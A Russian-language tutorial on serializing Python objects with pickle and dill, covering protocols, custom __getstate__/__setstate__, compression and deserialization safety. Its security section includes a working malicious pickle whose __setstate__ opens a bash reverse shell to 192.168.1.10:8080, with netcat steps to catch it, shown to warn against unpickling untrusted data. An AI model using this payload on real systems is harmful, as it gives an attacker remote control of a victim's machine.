Как хранить объекты Python со сложной структурой

Простой способ сериализовать объекты Python – встроенный модуль pickle. Если его возможностей не хватает, на выручку придёт dill. Демонстрируем работу обеих библиотек.

Время от времени требуется сохранить на диск или отослать по сети объект со сложной структурой. Например, текущее состояние нейронной сети, находящейся в процессе обучения. Процесс перевода структуры данных в цепочку битов называется сериализацией.

После прочтения статьи вы будете знать:

  • что такое сериализация и десериализация;
  • как применять эти процессы для собственного удобства;
  • какие существуют встроенные и сторонние библиотеки Python для сериализации;
  • чем отличаются протоколы pickle;
  • в чём преимущество dill перед pickle;
  • как с помощью dill сохранить сессию интерпретатора;
  • можно ли сжать сериализованные данные;
  • какие бывают проблемы с безопасностью процесса десериализации.

Сериализация в Python

Итак, сериализация (англ. serialization, marshalling) – это способ преобразования структуры данных в линейную форму, которую можно сохранить или передать по сети. Обратный процесс преобразования сериализованного объекта в исходную структуру данных называется десериализацией (англ. deserialization, unmarshalling).

В стандартной библиотеке Python три модуля позволяют сериализовать и десериализовать объекты:

  1. marshal
  2. json
  3. pickle

Кроме того, Python поддерживает XML, который также можно применять для сериализации объектов.

Самый старый модуль из перечисленных – marshal. Он используется для чтения и записи байт-кода модулей Python и .pyc-файлов, создаваемых при импорте модулей Python. Хотя его и можно использовать для сериализации, делать это не рекомендуется.

Модуль json обеспечивает работу со стандартными файлами JSON. Это широко используемый формат обмена данными, удобный для чтения и не зависящий от языка программирования. С помощью модуля json вы можете сериализовать и десериализовать стандартные типы данных Python:

  • bool
  • dict
  • int
  • float
  • list
  • string
  • tuple
  • None

Наконец, ещё один встроенный способ сериализации и десериализации объектов в Python – модуль pickle. Он отличается от модуля json тем, что сериализует объекты в двоичном виде. То есть результат не может быть прочитан человеком. Кроме того, pickle работает быстрее и позволяет сериализовать многие другие типы Python, включая пользовательские.

Внутри модуля pickle

Модуль pickle содержит четыре основные функции:

  • pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
  • pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
  • pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
  • pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

Первые два метода применяются для сериализации, а два других – для обратного процесса. Разница между первыми двумя методами заключается в том, что dump создаёт файл, содержащий результат сериализации, а dumps – возвращает байтовую строку. То же самое относится к load и loads.

Рассмотрим пример. Допустим, есть пользовательский класс example_class с несколькими атрибутами (a_number, a_string, a_dictionary, a_list, a_tuple), каждый из которых имеет свой тип.

В коде ниже показано, как создаётся и сериализуется экземпляр класса. Затем мы изменяем значение внутреннего словаря. Для восстановления исходной структуры можно использовать сохранённый с помощью pickle объект.

pickling.py
import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")
Shell
$ python pickling.py

This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}

Таким образом, pickle создаёт глубокую копию исходной структуры.

Форматы протоколов модуля pickle

Модуль pickle специфичен для Python — результаты сериализации могут быть прочитаны только другой программой на Python. Но даже если вы работаете только с Python, полезно знать, как модуль эволюционировал со временем. От версии протокола зависит совместимость. Сейчас существует 6 версий протоколов:

  • 0 — в отличие от более поздних протоколов, был удобочитаемым.
  • 1 — первый двоичный формат.
  • 2 — представлен в Python 2.3.
  • 3 — добавлен в Python 3.0. Его нельзя выбрать в версиях Python 2.x.
  • 4 — добавлен в Python 3.4, поддерживает более широкий диапазон размеров и типов объектов, и является протоколом по умолчанию с версии 3.8.
  • 5 — добавлен в Python 3.8, имеет поддержку внеполосных данных и улучшает скорость для внутриполосных.
Примечание
Более новые версии предлагают больше функций и улучшений, но ограничены более высокими версиями интерпретатора. Учитывайте это при выборе протокола. Самый высокий протокол, поддерживаемый интерпретатором, хранится в атрибуте pickle.HIGHEST_PROTOCOL.

Чтобы выбрать конкретный протокол, укажите версию протокола при вызове функции модуля. Иначе будет использоваться версия, соответствующая атрибуту pickle.DEFAULT_PROTOCOL.

Сериализуемые и несериализуемые типы

Мы уже знаем, что модуль pickle сериализует гораздо больше типов, чем json. Но всё-таки не все. Список несериализуемых с помощью pickle объектов включает соединения с базами данных, открытые сетевые сокеты и действующие потоки. Если вы столкнулись с несериализуемым объектом, есть несколько способов решения проблемы. Первый вариант – использовать стороннюю библиотеку dill.

Модуль dill расширяет возможности pickle. Согласно официальной документации он позволяет сериализовать менее распространённые типы данных, например, вложенные функции (inner functions) и лямбда-выражения. Проверим на примере:

pickling_error.py
import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

Попытавшись запустить эту программу, мы получим исключение: pickle не может сериализовать лямбда-функцию:

Shell
$ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed

Попробуем заменить pickle на dill (библиотеку можно установить с помощью pip):

pickling_dill.py
import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

Запустим код и увидим, что модуль dill сериализует лямбда-функцию без ошибок:

Shell
$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'

Ещё одна особенность dill заключается в том, что он умеет сериализовать сеанс интерпретатора:

>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()

В этом примере после запуска интерпретатора и ввода нескольких выражений мы импортируем модуль dill и вызываем dump_session() для сериализации сеанса в файле test.pkl в текущем каталоге:

Shell
$ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl

Запустим новый экземпляр интерпретатора и загрузим файл test.pkl для восстановления последнего сеанса:

>>> import dill
>>> dill.load_session('test.pkl')
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>
Примечание
Прежде чем начать использовать dill вместо pickle, имейте в виду, что dill не включён в стандартную библиотеку Python и обычно работает медленнее, чем pickle.

Модуль dill охватывает гораздо более широкий диапазон объектов, чем pickle, но не решает всех проблем сериализации. К примеру, даже dill не может сериализовать объект, содержащий соединение с базой данных.

В подобных случаях нужно исключить несериализуемый объект из процесса сериализации и повторно инициализировать после десериализации.

Чтобы указать, что должно быть включено в процесс сериализации, нужно использовать метод __getstate__(). Если этот метод не переопределён, будет использоваться дефолтный __dict__().

В следующем примере показано, как можно определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate__():

custom_pickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)

В приведённом примере мы создаём объект с тремя атрибутами. Поскольку один из атрибутов – это лямбда-объект, его нельзя обработать с помощью pickle. Поэтому в __getstate__() мы сначала клонируем весь __dict__, а затем удаляем несериализуемый атрибут с.

Если мы запустим этот пример, а затем десериализуем объект, то увидим, что новый экземпляр не содержит атрибут c:

Shell
$ python custom_pickling.py
{'a': 35, 'b': 'test'}

Мы также можем выполнить дополнительные инициализации в процессе десериализации. Например, добавить исключённый объект c обратно в десериализованную сущность. Для этого используется метод __setstate__():

custom_unpickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)

Сжатие сериализованных объектов

Формат данных pickle является компактным двоичным представлением структуры объекта, но мы всё равно можем её оптимизировать, используя сжатие. Для bzip2-сжатия сериализованной строки можно использовать модуль стандартной библиотеки bz2:

>>> import pickle
>>> import bz2
>>> my_string = """Хотя формат данных pickle
является компактным двоичным представлением
структуры объекта, мы всё равно можем её
оптимизировать, используя bzip2 или gzip.
Для сжатия сериализованной строки можно
использовать модуль стандартной библиотеки
bz2. При использовании сжатия помните, что
файлы меньшего размера создаются за счет
более медленного алгоритма. И совсем малые
объекты не получают выигрыша при сжатии.
"""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
404
>>> len(compressed)
360

Безопасность отправки данных в формате pickle

Процесс сериализации удобен, когда необходимо сохранить состояние объекта на диск или передать по сети. Однако это не всегда безопасно. Как мы обсудили выше, при десериализации объекта в методе __setstate__() может выполняться любой произвольный код. В том числе код злоумышленника.

Простое правило гласит: никогда не десериализуйте данные, поступившие из подозрительного источника или ненадёжной сети. Чтобы предотвратить атаку посредника, используйте модуль стандартной библиотеки hmac для создания подписей и их проверки.

В следующем примере показано, как десериализация файла pickle, присланного злоумышленником, открывает доступ к системе:

remote.py
import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)

В этом примере в процессе распаковки в __setstate__() будет выполнена команда Bash, открывающая удалённую оболочку для компьютера 192.168.1.10 через порт 8080.

Вы можете протестировать этот скрипт на Mac или Linux, открыв терминал и набрав команду nc для прослушивания порта 8080:

Shell
$ nc -l 8080

Это будет терминал атакующего. Затем открываем терминал на том же компьютере (или другом компьютере той же сети) и выполняем приведённый код Python. IP-адрес в коде нужно заменить на IP-адрес атакующего терминала. Выполнив следующую команду, жертва предоставит атакующему доступ:

Shell
$ python remote.py

При запуске скрипта жертвой в терминале злоумышленника оболочка Bash перейдёт в активное состояние:

Shell
$ nc -l 8080
bash: no job control in this shell

Эта консоль позволить атакующему работать непосредственно на вашей системе.

Заключение

Теперь вы знаете, как работать с модулями pickle и dill для преобразования иерархии объектов со сложной структурой в поток байтов. Структуры можно сохранять на диск или передавать в виде байтовой строки по сети. Вы также знаете, что процесс десериализации нужно использовать с осторожностью. Если у вас остались вопросы, задайте их в комментарии под постом.

Источники

ЛУЧШИЕ СТАТЬИ ПО ТЕМЕ

admin
11 декабря 2018

ООП на Python: концепции, принципы и примеры реализации

Программирование на Python допускает различные методологии, но в его основе...
admin
28 июня 2018

3 самых важных сферы применения Python: возможности языка

Существует множество областей применения Python, но в некоторых он особенно...
admin
13 февраля 2017

Программирование на Python: от новичка до профессионала

Пошаговая инструкция для всех, кто хочет изучить программирование на Python...